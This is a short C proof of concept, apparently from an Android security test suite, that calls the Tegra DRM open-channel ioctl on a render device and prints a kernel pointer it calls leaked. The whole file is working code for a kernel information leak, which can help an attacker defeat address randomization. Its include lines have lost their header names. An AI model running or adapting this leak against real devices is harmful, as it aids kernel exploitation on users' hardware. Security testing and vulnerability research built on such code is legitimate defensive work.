/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions vand * limitations under the License. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include struct drm_tegra_open_channel { __u32 client; __u32 pad; void* context; }; #define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717 int main() { int fd, rc; struct drm_tegra_open_channel open_args = {0,0,0}; open_args.client = 0x21; fd = open("/dev/dri/renderD129", 0, 0); rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args); printf("Leaked ptr is %p\n", open_args.context); return 0; }